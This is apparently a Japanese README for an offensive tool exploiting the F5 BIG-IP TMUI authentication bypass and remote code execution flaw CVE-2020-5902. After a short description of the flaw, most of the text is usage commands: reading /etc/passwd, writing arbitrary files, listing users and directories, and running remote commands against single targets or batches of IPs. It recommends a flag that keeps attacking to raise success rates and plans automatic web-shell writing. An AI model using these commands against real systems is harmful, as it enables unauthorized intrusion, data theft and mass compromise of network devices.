## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THELSA-F5-BIGIP-RCE-CVE-2020-5902
# F5 BIG-IP RCE(CVE-2020-5902)脆弱性検出ツール
# Summary
20200706、F5 BIG-IP TMUI RCE脆弱性がネット上で公開されました。
F5 BIG-IPのTMUIコンポーネント(トラフィック管理ユーザーインターフェース)には認証バイパスの脆弱性が存在します。この脆弱性は、Tomcatが解析するURLとrequest.getPathInfo()に差異があることに起因し、権限検証をバイパスしてTMUIモジュールの全機能に未認証でアクセスできるため、任意のファイルの読み取り/書き込み、コマンド実行などが可能になります。
詳細はF5 BIG-IP TMUI RCE脆弱性(CVE-2020-5902)の再現と注意点 を参照してください。
本ツールは単一IP検出、バッチIP検出に対応し、ファイル読み書き、認証ユーザー一覧、ディレクトリ一覧、リモートコマンド実行、hsqldb認証バイパス検出が可能です。
# Quick start
pip install requests
## ヘルプ
python f5-bigip-rce-cve-2020-5902.py -h

## POCチェック
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --check

## バッチPOCチェック
python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --check -t 20 -s 10

## ファイル読み取り
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --fileread "/etc/passwd"

## ファイル保存
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --filepath "/tmp/xxx.txt" --filecontent "x"

## 認証ユーザー一覧
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --list-users

## ディレクトリ一覧
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --listdir "/tmp/"

## RCE
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --rce id --still-exploit

## バッチRCE
python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --rce whoami --still-exploit -s 15 -t 20

## hsqldbバイパスチェック
python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --bypass-hsqldb

## バッチhsqldbバイパスチェック
python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --bypass-hsqldb

# Note
**バッチ処理するIPは、できる限り先頭にhttp://またはhttps://を付けてください。プロトコルがない場合は、デフォルトでhttp://が付与されます。**
条件が許せば、--still-exploitパラメータを追加することをお勧めします。list auth userが失敗してもRCEを実行し、成功率を高めます。
# TODO
1. リクエストを複数回送信してバッチの成功率を高める。効率とのトレードオフを考慮する必要がある
2. hsqldbインターフェースの逆シリアライゼーション悪用を統合する
3. Webシェル自動書き込みを追加する
# Feedback
issus
lsablog
gmail:some-email@example.com
qq:some-email@example.com